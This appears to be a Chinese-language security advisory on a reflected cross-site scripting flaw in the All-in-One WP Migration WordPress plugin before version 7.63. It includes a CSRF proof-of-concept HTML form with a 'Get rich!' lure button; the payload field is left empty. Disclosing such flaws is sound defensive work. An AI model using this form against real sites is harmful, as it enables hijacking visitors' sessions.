该插件为 ai1wm_export 操作的响应使用了错误的 Content-Type,并且未正确转义该响应,从而允许攻击者构造一个请求;当任何访客提交该请求时,会在响应中注入任意 HTML 或 JavaScript,并在受害者的会话中执行。
要复现该漏洞,我们可以通过插件导出网站的全部内容,并在输出文件名中插入一个无效名称。
在验证该漏洞时,可以将攻击与 CSRF 相结合,从而强制受害者的浏览器发送带有该 Payload 的请求。
<form action="https://example.com/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1" method="POST">
<!--
Note: The secret key must be obtained through other means.
It is stored in the site option `ai1wm_secret_key`, but is
static for the lifetime of the site.
-->
<input type="hidden" name="secret_key" value="[secret_key]">
<input type="hidden" name="ai1wm_manual_export" value="1">
<input type="hidden" name="archive" value="">
<input type="submit" value="Get rich!">
</form>
All-in-One WP Migration < 7.63
类型:跨站脚本 (XSS)
OWASP TOP 10: A03:2021-Injection
CWE: CWE-79 在网页生成期间对输入的错误中和 ('跨站脚本')
Geovanni Campos (GeoZIN), Thiago Martins (Kirito), Jorge Buzeti (R3tr0), Leandro Inacio (Saitama), Lucas de Souza (Sinnat), Matheus Oliveira (Froyd), Filipe Baptistella (Baptistella), Leonardo Paiva (Megatron), Jose Thomaz (Pip3r), Joao Maciel (Yohan), Vinicius Pereira (Vini), , Hudson Nowak (Nowak) 和 Guilherme Acerbi (Ghost).